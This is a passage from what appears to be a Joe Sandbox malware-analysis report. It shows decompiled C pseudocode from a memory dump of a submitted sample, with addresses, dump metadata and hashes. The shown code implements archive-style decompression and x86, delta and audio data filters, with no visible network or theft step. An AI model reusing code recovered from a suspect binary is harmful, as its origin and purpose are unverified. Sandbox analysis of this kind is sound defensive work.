														_t443 =  *((intOrPtr*)(_t455 + 0x20));
														while(1) {
															_t314 =  *_t438;
															__eflags = _t314 - _t293;
															if(_t314 < _t293) {
																goto L15;
															}
															goto L9;
														}
													}
													_t341 = _t440 + 0x2cf8 + _t216 * 4;
													while(1) {
														__eflags = _t420 -  *_t341;
														if(_t420 <  *_t341) {
															break;
														}
														_t216 = _t216 + 1;
														_t341 = _t341 + 4;
														__eflags = _t216 - 0xf;
														if(_t216 < 0xf) {
															continue;
														}
														goto L85;
													}
													_t296 = _t216;
													goto L85;
												}
												_t342 = 0x10;
												_t423 = _t420 >> _t342 - _t215;
												_t345 = ( *(_t423 + _t440 + 0x2d7c) & 0x000000ff) +  *(_t438 + 4);
												 *_t438 =  *_t438 + (_t345 >> 3);
												 *(_t438 + 4) = _t345 & 0x00000007;
												_t220 =  *(_t440 + 0x317c + _t423 * 2) & 0x0000ffff;
												goto L86;
											}
											 *_t295 = 2;
											L33:
											_t414 =  *(_t455 + 0x18);
											_t201 =  *(_t455 + 0x1c);
											_t293 =  *(_t455 + 0x10);
											continue;
										}
										_push(_t455 + 0x2c);
										E002538C2(_t443, _t438);
										_t295[1] =  *(_t455 + 0x2c) & 0x000000ff;
										_t295[2] =  *(_t455 + 0x30);
										_t424 = 4;
										 *_t295 = _t424;
										_t233 =  *(_t440 + 0x4ad8);
										_t349 = _t233 * 0xc +  *(_t440 + 0x4ad4);
										 *(_t440 + 0x4ad8) = _t233 + 1;
										_t349[1] =  *(_t455 + 0x38) & 0x000000ff;
										 *_t349 = _t424;
										_t349[2] =  *(_t455 + 0x34);
										goto L33;
									}
									_t237 = _t324 - 0x106;
									__eflags = _t237 - 8;
									if(_t237 >= 8) {
										_t350 = 3;
										_t304 = (_t237 >> 2) - 1;
										_t237 = (_t237 & _t350 | 0x00000004) << _t304;
										__eflags = _t237;
									} else {
										_t304 = 0;
									}
									_t447 = _t237 + 2;
									 *(_t455 + 0x14) = _t447;
									__eflags = _t304;
									if(_t304 != 0) {
										_t274 = E0024A740(_t438);
										_t398 = 0x10;
										_t401 =  *(_t438 + 4) + _t304;
										 *(_t455 + 0x14) = _t447 + (_t274 >> _t398 - _t304);
										 *_t438 =  *_t438 + (_t401 >> 3);
										_t402 = _t401 & 0x00000007;
										__eflags = _t402;
										 *(_t438 + 4) = _t402;
									}
									_t240 = E0024A740(_t438);
									_t241 =  *(_t440 + 0xfa0);
									_t426 = _t240 & 0x0000fffe;
									__eflags = _t426 -  *((intOrPtr*)(_t440 + 0xf20 + _t241 * 4));
									if(_t426 >=  *((intOrPtr*)(_t440 + 0xf20 + _t241 * 4))) {
										_t305 = 0xf;
										_t242 = _t241 + 1;
										__eflags = _t242 - _t305;
										if(_t242 >= _t305) {
											L49:
											_t354 =  *(_t438 + 4) + _t305;
											 *(_t438 + 4) = _t354 & 0x00000007;
											_t244 = _t354 >> 3;
											 *_t438 =  *_t438 + _t244;
											_t356 = 0x10;
											_t359 =  *((intOrPtr*)(_t440 + 0xf60 + _t305 * 4)) + (_t426 -  *((intOrPtr*)(_t440 + 0xf1c + _t305 * 4)) >> _t356 - _t305);
											__eflags = _t359 -  *((intOrPtr*)(_t440 + 0xf1c));
											asm("sbb eax, eax");
											_t245 = _t244 & _t359;
											__eflags = _t245;
											_t246 =  *(_t440 + 0x1ba4 + _t245 * 2) & 0x0000ffff;
											goto L50;
										}
										_t391 = _t440 + 0xf20 + _t242 * 4;
										while(1) {
											__eflags = _t426 -  *_t391;
											if(_t426 <  *_t391) {
												break;
											}
											_t242 = _t242 + 1;
											_t391 = _t391 + 4;
											__eflags = _t242 - 0xf;
											if(_t242 < 0xf) {
												continue;
											}
											goto L49;
										}
										_t305 = _t242;
										goto L49;
									} else {
										_t392 = 0x10;
										_t434 = _t426 >> _t392 - _t241;
										_t395 = ( *(_t434 + _t440 + 0xfa4) & 0x000000ff) +  *(_t438 + 4);
										 *_t438 =  *_t438 + (_t395 >> 3);
										 *(_t438 + 4) = _t395 & 0x00000007;
										_t246 =  *(_t440 + 0x13a4 + _t434 * 2) & 0x0000ffff;
										L50:
										_t247 = _t246 & 0x0000ffff;
										__eflags = _t247 - 4;
										if(_t247 >= 4) {
											_t308 = (_t247 >> 1) - 1;
											_t247 = (_t247 & 0x00000001 | 0x00000002) << _t308;
											__eflags = _t247;
										} else {
											_t308 = 0;
										}
										_t250 = _t247 + 1;
										 *(_t455 + 0x24) = _t250;
										_t448 = _t250;
										__eflags = _t308;
										if(_t308 == 0) {
											L68:
											__eflags = _t448 - 0x100;
											if(_t448 > 0x100) {
												_t253 =  *(_t455 + 0x14) + 1;
												 *(_t455 + 0x14) = _t253;
												__eflags = _t448 - 0x2000;
												if(_t448 > 0x2000) {
													_t254 = _t253 + 1;
													 *(_t455 + 0x14) = _t254;
													__eflags = _t448 - 0x40000;
													if(_t448 > 0x40000) {
														_t255 = _t254 + 1;
														__eflags = _t255;
														 *(_t455 + 0x14) = _t255;
													}
												}
											}
											_t251 =  *(_t455 + 0x28);
											 *_t251 = 1;
											_t251[1] =  *(_t455 + 0x14);
											_t251[2] = _t448;
											goto L91;
										} else {
											__eflags = _t308 - 4;
											if(__eflags < 0) {
												_t256 = E002580CA(_t438);
												_t363 = 0x20;
												_t448 = (_t256 >> _t363 - _t308) +  *(_t455 + 0x24);
												_t366 =  *(_t438 + 4) + _t308;
												 *_t438 =  *_t438 + (_t366 >> 3);
												_t367 = _t366 & 0x00000007;
												__eflags = _t367;
												 *(_t438 + 4) = _t367;
												goto L68;
											}
											if(__eflags > 0) {
												_t269 = E002580CA(_t438);
												_t384 = 0x24;
												_t448 = (_t269 >> _t384 - _t308 << 4) +  *(_t455 + 0x24);
												_t388 =  *(_t438 + 4) + 0xfffffffc + _t308;
												 *_t438 =  *_t438 + (_t388 >> 3);
												_t389 = _t388 & 0x00000007;
												__eflags = _t389;
												 *(_t438 + 4) = _t389;
											}
											_t259 = E0024A740(_t438);
											_t260 =  *(_t440 + 0x1e8c);
											_t430 = _t259 & 0x0000fffe;
											__eflags = _t430 -  *((intOrPtr*)(_t440 + 0x1e0c + _t260 * 4));
											if(_t430 >=  *((intOrPtr*)(_t440 + 0x1e0c + _t260 * 4))) {
												_t309 = 0xf;
												_t261 = _t260 + 1;
												__eflags = _t261 - _t309;
												if(_t261 >= _t309) {
													L65:
													_t370 =  *(_t438 + 4) + _t309;
													 *(_t438 + 4) = _t370 & 0x00000007;
													_t263 = _t370 >> 3;
													 *_t438 =  *_t438 + _t263;
													_t372 = 0x10;
													_t375 =  *((intOrPtr*)(_t440 + 0x1e4c + _t309 * 4)) + (_t430 -  *((intOrPtr*)(_t440 + 0x1e08 + _t309 * 4)) >> _t372 - _t309);
													__eflags = _t375 -  *((intOrPtr*)(_t440 + 0x1e08));
													asm("sbb eax, eax");
													_t264 = _t263 & _t375;
													__eflags = _t264;
													_t265 =  *(_t440 + 0x2a90 + _t264 * 2) & 0x0000ffff;
													goto L66;
												}
												_t377 = _t440 + 0x1e0c + _t261 * 4;
												while(1) {
													__eflags = _t430 -  *_t377;
													if(_t430 <  *_t377) {
														break;
													}
													_t261 = _t261 + 1;
													_t377 = _t377 + 4;
													__eflags = _t261 - 0xf;
													if(_t261 < 0xf) {
														continue;
													}
													goto L65;
												}
												_t309 = _t261;
												goto L65;
											} else {
												_t378 = 0x10;
												_t433 = _t430 >> _t378 - _t260;
												_t381 = ( *(_t433 + _t440 + 0x1e90) & 0x000000ff) +  *(_t438 + 4);
												 *_t438 =  *_t438 + (_t381 >> 3);
												 *(_t438 + 4) = _t381 & 0x00000007;
												_t265 =  *(_t440 + 0x2290 + _t433 * 2) & 0x0000ffff;
												L66:
												_t448 = _t448 + (_t265 & 0x0000ffff);
												goto L68;
											}
										}
									}
								}
								__eflags =  *(_t440 + 0x4ad8) - 1;
								if( *(_t440 + 0x4ad8) <= 1) {
									L34:
									 *_t295 =  *_t295 & 0x00000000;
									_t295[2] = _t324;
									_t295[1] = 0;
									goto L33;
								}
								__eflags =  *(_t295 - 0xc);
								if( *(_t295 - 0xc) != 0) {
									goto L34;
								}
								_t279 =  *(_t295 - 8) & 0x0000ffff;
								_t435 = 3;
								__eflags = _t279 - _t435;
								if(_t279 >= _t435) {
									goto L34;
								}
								_t280 = _t279 + 1;
								 *(_t295 - 8) = _t280;
								 *((_t280 & 0x0000ffff) + _t295 - 4) = _t324;
								_t68 = _t440 + 0x4ad8;
								 *_t68 =  *(_t440 + 0x4ad8) - 1;
								__eflags =  *_t68;
								goto L33;
							}
						}
					}
					 *((char*)(_t440 + 0x4ad0)) = 1;
					goto L94;
				} else {
					 *((char*)(_t440 + 0x2c)) = 1;
					_push(_t440 + 0x30);
					_push(_t440 + 0x18);
					_push(_t440 + 4);
					_t291 = E00253CDD(__ecx);
					if(_t291 != 0) {
						goto L3;
					} else {
						 *((char*)(_t440 + 0x4ad0)) = 1;
						return _t291;
					}
				}
			}

0x002569f0
0x002569f6
0x002569fe
0x00256a25
0x00256a28
0x00256a2e
0x00256a31
0x00256a33
0x00256a4b
0x00256a52
0x00256a54
0x00256a57
0x00256a5b
0x00256a60
0x00256a62
0x00256a64
0x00256a66
0x00256a66
0x00256a68
0x00256a6c
0x00256a6c
0x00256a6e
0x00256a70
0x00000000
0x00000000
0x00256a72
0x00256a72
0x00256a74
0x00256feb
0x00256fec
0x00000000
0x00256fec
0x00256a7a
0x00256a88
0x00256a88
0x00256a8a
0x00256a99
0x00256a99
0x00256a9f
0x00256fe4
0x00256fe4
0x00000000
0x00256fe4
0x00000000
0x00256a9f
0x00256a8c
0x00256a93
0x00000000
0x00000000
0x00000000
0x00256a93
0x00256a7c
0x00256a7f
0x00256a82
0x00000000
0x00000000
0x00000000
0x00256aa5
0x00256aa5
0x00256aae
0x00256ab4
0x00256ab6
0x00256ab9
0x00256ac2
0x00256ac3
0x00256ace
0x00256ad2
0x00256ad4
0x00256adb
0x00256adb
0x00256ae0
0x00256ae0
0x00256ae6
0x00256af1
0x00256af8
0x00256afc
0x00256b02
0x00256b09
0x00256b0f
0x00256b15
0x00256b19
0x00256b46
0x00256b47
0x00256b48
0x00256b4a
0x00256b63
0x00256b66
0x00256b6d
0x00256b70
0x00256b73
0x00256b7b
0x00256b84
0x00256b88
0x00256b8a
0x00256b8d
0x00256b8f
0x00256b8f
0x00256b91
0x00000000
0x00256b91
0x00256b4f
0x00256b52
0x00256b52
0x00256b54
0x00000000
0x00000000
0x00256b56
0x00256b57
0x00256b5a
0x00256b5d
0x00000000
0x00000000
0x00000000
0x00256b5f
0x00256b61
0x00000000
0x00256b1b
0x00256b1d
0x00256b20
0x00256b2a
0x00256b32
0x00256b37
0x00256b3a
0x00256b99
0x00256b9e
0x00256ba0
0x00256bee
0x00256bf4
0x00256e67
0x00256e69
0x00256eba
0x00256ec0
0x00256ecf
0x00256ed0
0x00256eda
0x00256edd
0x00256ee4
0x00256eea
0x00256ef0
0x00256ef7
0x00256f24
0x00256f25
0x00256f26
0x00256f28
0x00256f44
0x00256f47
0x00256f4e
0x00256f51
0x00256f54
0x00256f5f
0x00256f6b
0x00256f6d
0x00256f73
0x00256f75
0x00256f75
0x00256f77
0x00256f7f
0x00256f7f
0x00256f82
0x00256f85
0x00256f93
0x00256f96
0x00256f9e
0x00256fa1
0x00256fa3
0x00256fa7
0x00256fae
0x00256fb6
0x00256fb8
0x00256fbf
0x00256fc1
0x00256fc1
0x00256fc4
0x00256fc4
0x00256f87
0x00256f87
0x00256f87
0x00256fcb
0x00256fcf
0x00256fcf
0x00256fd3
0x00256fd7
0x00256fdb
0x00256a6c
0x00256a6c
0x00256a6e
0x00256a70
0x00000000
0x00000000
0x00000000
0x00256a70
0x00256a6c
0x00256f30
0x00256f33
0x00256f33
0x00256f35
0x00000000
0x00000000
0x00256f37
0x00256f38
0x00256f3b
0x00256f3e
0x00000000
0x00000000
0x00000000
0x00256f40
0x00256f42
0x00000000
0x00256f42
0x00256efb
0x00256efe
0x00256f08
0x00256f10
0x00256f15
0x00256f18
0x00000000
0x00256f18
0x00256ec2
0x00256bcf
0x00256bcf
0x00256bd3
0x00256bd7
0x00000000
0x00256bd7
0x00256e71
0x00256e73
0x00256e7d
0x00256e85
0x00256e8a
0x00256e8b
0x00256e8d
0x00256e96
0x00256e9d
0x00256ea8
0x00256eb0
0x00256eb2
0x00000000
0x00256eb2
0x00256bfa
0x00256c00
0x00256c03
0x00256c10
0x00256c13
0x00256c19
0x00256c19
0x00256c05
0x00256c05
0x00256c05
0x00256c1b
0x00256c1e
0x00256c22
0x00256c24
0x00256c28
0x00256c2f
0x00256c39
0x00256c3b
0x00256c44
0x00256c46
0x00256c46
0x00256c49
0x00256c49
0x00256c4e
0x00256c55
0x00256c5b
0x00256c61
0x00256c68
0x00256c95
0x00256c96
0x00256c97
0x00256c99
0x00256cb5
0x00256cb8
0x00256cbf
0x00256cc2
0x00256cc5
0x00256cd0
0x00256cdc
0x00256cde
0x00256ce4
0x00256ce6
0x00256ce6
0x00256ce8
0x00000000
0x00256ce8
0x00256ca1
0x00256ca4
0x00256ca4
0x00256ca6
0x00000000
0x00000000
0x00256ca8
0x00256ca9
0x00256cac
0x00256caf
0x00000000
0x00000000
0x00000000
0x00256cb1
0x00256cb3
0x00000000
0x00256c6a
0x00256c6c
0x00256c6f
0x00256c79
0x00256c81
0x00256c86
0x00256c89
0x00256cf0
0x00256cf0
0x00256cf3
0x00256cf6
0x00256d06
0x00256d09
0x00256d09
0x00256cf8
0x00256cf8
0x00256cf8
0x00256d0b
0x00256d0c
0x00256d10
0x00256d12
0x00256d14
0x00256e22
0x00256e22
0x00256e28
0x00256e2e
0x00256e2f
0x00256e33
0x00256e39
0x00256e3b
0x00256e3c
0x00256e40
0x00256e46
0x00256e48
0x00256e48
0x00256e49
0x00256e49
0x00256e46
0x00256e39
0x00256e4d
0x00256e55
0x00256e5b
0x00256e5f
0x00000000
0x00256d1a
0x00256d1a
0x00256d1d
0x00256dfe
0x00256e07
0x00256e0f
0x00256e13
0x00256e1a
0x00256e1c
0x00256e1c
0x00256e1f
0x00000000
0x00256e1f
0x00256d23
0x00256d27
0x00256d30
0x00256d3e
0x00256d42
0x00256d49
0x00256d4b
0x00256d4b
0x00256d4e
0x00256d4e
0x00256d53
0x00256d5a
0x00256d60
0x00256d66
0x00256d6d
0x00256d9a
0x00256d9b
0x00256d9c
0x00256d9e
0x00256dba
0x00256dbd
0x00256dc4
0x00256dc7
0x00256dca
0x00256dd5
0x00256de1
0x00256de3
0x00256de9
0x00256deb
0x00256deb
0x00256ded
0x00000000
0x00256ded
0x00256da6
0x00256da9
0x00256da9
0x00256dab
0x00000000
0x00000000
0x00256dad
0x00256dae
0x00256db1
0x00256db4
0x00000000
0x00000000
0x00000000
0x00256db6
0x00256db8
0x00000000
0x00256d6f
0x00256d71
0x00256d74
0x00256d7e
0x00256d86
0x00256d8b
0x00256d8e
0x00256df5
0x00256df8
0x00000000
0x00256df8
0x00256d6d
0x00256d14
0x00256c68
0x00256ba2
0x00256ba9
0x00256be0
0x00256be0
0x00256be5
0x00256be8
0x00000000
0x00256be8
0x00256bab
0x00256baf
0x00000000
0x00000000
0x00256bb1
0x00256bb7
0x00256bb8
0x00256bbb
0x00000000
0x00000000
0x00256bbd
0x00256bbe
0x00256bc5
0x00256bc9
0x00256bc9
0x00256bc9
0x00000000
0x00256bc9
0x00256b19
0x00256a6c
0x00256a35
0x00000000
0x00256a00
0x00256a03
0x00256a07
0x00256a0b
0x00256a0f
0x00256a10
0x00256a17
0x00000000
0x00256a19
0x00256a19
0x00000000
0x00256a19
0x00256a17

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40a0ba5ce8a6c50dcd828eeac55cc9427b84da3d1a861510167acb44eb50e592
Instruction ID: 1dc01c4bee6c7beb08c2b5d8bb7ec6e14227c1855eac80cf41a4667339378aa5
Opcode Fuzzy Hash: 40a0ba5ce8a6c50dcd828eeac55cc9427b84da3d1a861510167acb44eb50e592
Instruction Fuzzy Hash: 4212F6B16207028BC728CF28C4D4779B7E1FF54309F54892EE997C7A81D774A8A9CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0024BD53 Relevance: .4, Instructions: 449
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0024BD53(signed int* __ecx) {
				void* __edi;
				signed int _t194;
				char _t197;
				void* _t204;
				signed char _t205;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				intOrPtr _t219;
				signed int _t221;
				signed int _t223;
				void* _t234;
				signed int _t235;
				signed int _t238;
				signed int _t266;
				void* _t267;
				void* _t268;
				void* _t269;
				void* _t270;
				void* _t271;
				signed int _t274;
				intOrPtr _t275;
				void* _t276;
				signed char* _t277;
				signed int _t278;
				signed int _t279;
				signed int _t281;
				char _t282;
				signed int _t284;
				signed char _t285;
				signed char _t289;
				void* _t290;
				intOrPtr _t292;
				signed int _t293;
				signed char* _t297;
				signed int _t304;
				signed int _t306;
				signed int _t308;
				signed int _t309;
				signed char _t310;
				intOrPtr _t311;
				void* _t312;
				void* _t313;
				unsigned int _t316;
				signed int _t317;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				signed char _t323;
				signed int _t324;
				signed int _t325;
				void* _t326;
				void* _t327;
				void* _t328;
				signed int _t331;
				signed int _t332;
				signed int _t333;
				signed char* _t334;
				signed int _t335;
				signed int _t336;
				signed int _t338;
				unsigned int _t340;
				signed int _t345;
				void* _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				void* _t354;
				void* _t355;

				_t311 =  *((intOrPtr*)(_t355 + 4));
				_t339 = __ecx;
				if(_t311 <= 0) {
					L15:
					return 1;
				}
				if(_t311 <= 2) {
					_t194 = __ecx[5];
					_t284 =  *__ecx;
					_t340 = __ecx[7];
					_t276 = _t194 - 4;
					if(_t276 > 0x3fffc) {
						L98:
						return 0;
					}
					_t326 = 0;
					_t197 = (_t194 & 0xffffff00 | _t311 == 0x00000002) + 0xe8;
					 *((char*)(_t355 + 0x13)) = _t197;
					if(_t276 == 0) {
						goto L15;
					} else {
						goto L88;
					}
					do {
						L88:
						_t312 =  *_t284;
						_t284 = _t284 + 1;
						_t327 = _t326 + 1;
						_t340 = _t340 + 1;
						if(_t312 == 0xe8 || _t312 == _t197) {
							_t313 =  *_t284;
							if(_t313 >= 0) {
								_t191 = _t313 - 0x1000000; // -16777215
								if(_t191 < 0) {
									 *_t284 = _t313 - _t340;
								}
							} else {
								if(_t340 + _t313 >= 0) {
									_t190 = _t313 + 0x1000000; // 0x1000001
									 *_t284 = _t190;
								}
							}
							_t197 =  *((intOrPtr*)(_t355 + 0x13));
							_t284 = _t284 + 4;
							_t326 = _t327 + 4;
							_t340 = _t340 + 4;
						}
					} while (_t326 < _t276);
					goto L15;
				}
				if(_t311 == 3) {
					_t277 =  *__ecx;
					_t328 = __ecx[5] - 0x15;
					if(_t328 > 0x3ffeb) {
						goto L98;
					}
					_t316 = __ecx[7] >> 4;
					 *(_t355 + 0x2c) = _t316;
					if(_t328 == 0) {
						goto L15;
					}
					_t331 = (_t328 - 1 >> 4) + 1;
					 *(_t355 + 0x38) = _t331;
					do {
						_t204 = ( *_t277 & 0x1f) - 0x10;
						if(_t204 < 0) {
							goto L84;
						}
						_t205 =  *((intOrPtr*)(_t204 + 0x27d070));
						if(_t205 == 0) {
							goto L84;
						}
						_t332 =  *(_t355 + 0x2c);
						_t285 = 0;
						_t317 = _t205 & 0x000000ff;
						 *(_t355 + 0x34) = 0;
						 *(_t355 + 0x40) = _t317;
						_t350 = 0x12;
						do {
							if((_t317 & 1) != 0) {
								_t175 = _t350 + 0x18; // 0x2a
								if(E0024C2BC(_t277, _t175, 4) == 5) {
									E0024C307(_t277, E0024C2BC(_t277, _t350, 0x14) - _t332 & 0x000fffff, _t350, 0x14);
								}
								_t317 =  *(_t355 + 0x3c);
								_t285 =  *(_t355 + 0x30);
							}
							_t285 = _t285 + 1;
							_t350 = _t350 + 0x29;
							 *(_t355 + 0x30) = _t285;
						} while (_t350 <= 0x64);
						_t331 =  *(_t355 + 0x38);
						_t316 =  *(_t355 + 0x2c);
						L84:
						_t277 =  &(_t277[0x10]);
						_t316 = _t316 + 1;
						_t331 = _t331 - 1;
						 *(_t355 + 0x2c) = _t316;
						 *(_t355 + 0x38) = _t331;
					} while (_t331 != 0);
					goto L15;
				}
				if(_t311 == 4) {
					_t215 = __ecx[1];
					_t289 = __ecx[5];
					_t333 = __ecx[2];
					 *(_t355 + 0x20) = _t215;
					_t278 = _t215 - 3;
					 *(_t355 + 0x30) = _t289;
					 *(_t355 + 0x3c) = _t278;
					 *(_t355 + 0x44) = _t333;
					if(_t289 - 3 > 0x1fffd || _t278 > _t289 || _t333 > 2) {
						goto L98;
					} else {
						_t217 =  *__ecx;
						 *(_t355 + 0x2c) = _t217;
						_t351 = _t217 + _t289;
						_t218 = 0;
						 *(_t355 + 0x18) = _t351;
						_t319 = _t351 - _t278;
						 *(_t355 + 0x24) = 0;
						 *(_t355 + 0x14) = _t319;
						do {
							_t279 = 0;
							if(_t218 >= _t289) {
								goto L67;
							}
							_t334 = _t319 + _t218;
							_t320 =  *(_t355 + 0x20);
							_t221 =  *(_t355 + 0x3c) - _t351;
							_t352 =  *(_t355 + 0x3c);
							 *(_t355 + 0x28) = _t221;
							do {
								if( &(_t334[_t221]) >= _t320) {
									_t227 =  *_t334 & 0x000000ff;
									_t291 =  *(_t334 - 3) & 0x000000ff;
									 *(_t355 + 0x38) =  *_t334 & 0x000000ff;
									 *(_t355 + 0x34) =  *(_t334 - 3) & 0x000000ff;
									 *(_t355 + 0x44) = E0026572A(_t320, _t227 - _t291 + _t279 - _t279);
									 *(_t355 + 0x28) = E0026572A(_t320, _t227 - _t291 + _t279 -  *(_t355 + 0x3c));
									_t234 = E0026572A(_t320, _t227 - _t291 + _t279 -  *(_t355 + 0x3c));
									_t292 =  *((intOrPtr*)(_t355 + 0x4c));
									_t355 = _t355 + 0xc;
									_t321 =  *(_t355 + 0x1c);
									if(_t292 > _t321 || _t292 > _t234) {
										_t289 =  *(_t355 + 0x30);
										_t320 =  *(_t355 + 0x20);
										_t279 =  *(_t355 + 0x38);
										if(_t321 > _t234) {
											_t279 =  *(_t355 + 0x34);
										}
									} else {
										_t289 =  *(_t355 + 0x30);
										_t320 =  *(_t355 + 0x20);
									}
								}
								_t223 =  *(_t355 + 0x2c);
								_t279 = _t279 -  *_t223 & 0x000000ff;
								 *(_t355 + 0x2c) = _t223 + 1;
								_t334[_t352] = _t279;
								_t334 =  &(_t334[3]);
								_t221 =  *(_t355 + 0x28);
							} while ( &(_t334[ *(_t355 + 0x28)]) < _t289);
							_t351 =  *(_t355 + 0x18);
							_t218 =  *(_t355 + 0x24);
							_t319 =  *(_t355 + 0x14);
							L67:
							_t218 = _t218 + 1;
							 *(_t355 + 0x24) = _t218;
						} while (_t218 < 3);
						_t335 =  *(_t355 + 0x44);
						_t290 = _t289 + 0xfffffffe;
						while(_t335 < _t290) {
							_t219 =  *((intOrPtr*)(_t335 + _t351 + 1));
							 *((intOrPtr*)(_t335 + _t351)) =  *((intOrPtr*)(_t335 + _t351)) + _t219;
							 *((intOrPtr*)(_t335 + _t351 + 2)) =  *((intOrPtr*)(_t335 + _t351 + 2)) + _t219;
							_t335 = _t335 + 3;
						}
						goto L15;
					}
				}
				if(_t311 == 5) {
					_t235 = __ecx[5];
					_t293 =  *__ecx;
					_t281 = __ecx[1];
					 *(_t355 + 0x34) = _t293;
					 *(_t355 + 0x38) = _t235;
					 *(_t355 + 0x40) = _t293 + _t235;
					if(_t235 > 0x20000 || _t281 > 0x80 || _t281 == 0) {
						goto L98;
					} else {
						_t336 = 0;
						 *(_t355 + 0x3c) = 0;
						if(_t281 == 0) {
							goto L15;
						} else {
							goto L21;
						}
						do {
							L21:
							 *(_t355 + 0x28) =  *(_t355 + 0x28) & 0x00000000;
							 *(_t355 + 0x24) =  *(_t355 + 0x24) & 0x00000000;
							_t345 = 0;
							 *(_t355 + 0x20) =  *(_t355 + 0x20) & 0x00000000;
							_t353 = 0;
							 *(_t355 + 0x1c) =  *(_t355 + 0x1c) & 0x00000000;
							 *(_t355 + 0x14) =  *(_t355 + 0x14) & 0;
							 *(_t355 + 0x24) = 0;
							E0025F1A0(_t336, _t355 + 0x48, 0, 0x1c);
							 *(_t355 + 0x3c) =  *(_t355 + 0x3c) & 0;
							_t355 = _t355 + 0xc;
							 *(_t355 + 0x2c) = _t336;
							if(_t336 <  *(_t355 + 0x38)) {
								_t238 =  *(_t355 + 0x14);
								do {
									_t322 =  *(_t355 + 0x24);
									 *(_t355 + 0x1c) = _t322 -  *(_t355 + 0x20);
									_t297 =  *(_t355 + 0x34);
									 *(_t355 + 0x20) = _t322;
									_t323 =  *_t297 & 0x000000ff;
									 *(_t355 + 0x34) =  &(_t297[1]);
									_t304 = ( *(_t355 + 0x1c) * _t238 + _t345 *  *(_t355 + 0x1c) + _t353 *  *(_t355 + 0x24) +  *(_t355 + 0x28) * 0x00000008 >> 0x00000003 & 0x000000ff) - _t323;
									 *( *(_t355 + 0x2c) +  *(_t355 + 0x40)) = _t304;
									_t349 = _t323 << 3;
									 *(_t355 + 0x28) = _t304 -  *(_t355 + 0x28);
									 *(_t355 + 0x2c) = _t304;
									 *((intOrPtr*)(_t355 + 0x4c)) =  *((intOrPtr*)(_t355 + 0x4c)) + E0026572A(_t323, _t323 << 3);
									 *((intOrPtr*)(_t355 + 0x54)) =  *((intOrPtr*)(_t355 + 0x54)) + E0026572A(_t323, (_t323 << 3) -  *(_t355 + 0x24));
									 *((intOrPtr*)(_t355 + 0x5c)) =  *((intOrPtr*)(_t355 + 0x5c)) + E0026572A(_t323,  *(_t355 + 0x28) + (_t323 << 3));
									 *((intOrPtr*)(_t355 + 0x64)) =  *((intOrPtr*)(_t355 + 0x64)) + E0026572A(_t323, (_t323 << 3) -  *(_t355 + 0x28));
									 *((intOrPtr*)(_t355 + 0x6c)) =  *((intOrPtr*)(_t355 + 0x6c)) + E0026572A(_t323,  *(_t355 + 0x2c) + _t349);
									 *((intOrPtr*)(_t355 + 0x74)) =  *((intOrPtr*)(_t355 + 0x74)) + E0026572A(_t323, _t349 -  *(_t355 + 0x1c));
									 *((intOrPtr*)(_t355 + 0x7c)) =  *((intOrPtr*)(_t355 + 0x7c)) + E0026572A(_t323, _t349 +  *(_t355 + 0x1c));
									_t355 = _t355 + 0x1c;
									if(( *(_t355 + 0x30) & 0x0000001f) != 0) {
										_t345 =  *(_t355 + 0x18);
										_t238 =  *(_t355 + 0x14);
									} else {
										_t324 =  *(_t355 + 0x48);
										_t266 = 0;
										 *(_t355 + 0x48) =  *(_t355 + 0x48) & 0;
										_t308 = 1;
										do {
											if( *(_t355 + 0x48 + _t308 * 4) < _t324) {
												_t324 =  *(_t355 + 0x48 + _t308 * 4);
												_t266 = _t308;
											}
											 *(_t355 + 0x48 + _t308 * 4) =  *(_t355 + 0x48 + _t308 * 4) & 0x00000000;
											_t308 = _t308 + 1;
										} while (_t308 < 7);
										_t345 =  *(_t355 + 0x18);
										_t267 = _t266 - 1;
										if(_t267 == 0) {
											_t238 =  *(_t355 + 0x14);
											if(_t353 >= 0xfffffff0) {
												_t353 = _t353 - 1;
											}
											goto L49;
										}
										_t268 = _t267 - 1;
										if(_t268 == 0) {
											_t238 =  *(_t355 + 0x14);
											if(_t353 < 0x10) {
												_t353 = _t353 + 1;
											}
											goto L49;
										}
										_t269 = _t268 - 1;
										if(_t269 == 0) {
											_t238 =  *(_t355 + 0x14);
											if(_t345 < 0xfffffff0) {
												goto L49;
											}
											_t345 = _t345 - 1;
											L43:
											 *(_t355 + 0x18) = _t345;
											goto L49;
										}
										_t270 = _t269 - 1;
										if(_t270 == 0) {
											_t238 =  *(_t355 + 0x14);
											if(_t345 >= 0x10) {
												goto L49;
											}
											_t345 = _t345 + 1;
											goto L43;
										}
										_t271 = _t270 - 1;
										if(_t271 == 0) {
											_t238 =  *(_t355 + 0x14);
											if(_t238 < 0xfffffff0) {
												goto L49;
											}
											_t238 = _t238 - 1;
											L36:
											 *(_t355 + 0x14) = _t238;
											goto L49;
										}
										_t238 =  *(_t355 + 0x14);
										if(_t271 != 1 || _t238 >= 0x10) {
											goto L49;
										} else {
											_t238 = _t238 + 1;
											goto L36;
										}
									}
									L49:
									_t306 =  *(_t355 + 0x2c) + _t281;
									 *(_t355 + 0x30) =  *(_t355 + 0x30) + 1;
									 *(_t355 + 0x2c) = _t306;
								} while (_t306 <  *(_t355 + 0x38));
								_t336 =  *(_t355 + 0x3c);
							}
							_t336 = _t336 + 1;
							 *(_t355 + 0x3c) = _t336;
						} while (_t336 < _t281);
						goto L15;
					}
				}
				if(_t311 != 6) {
					goto L15;
				}
				_t309 = __ecx[5];
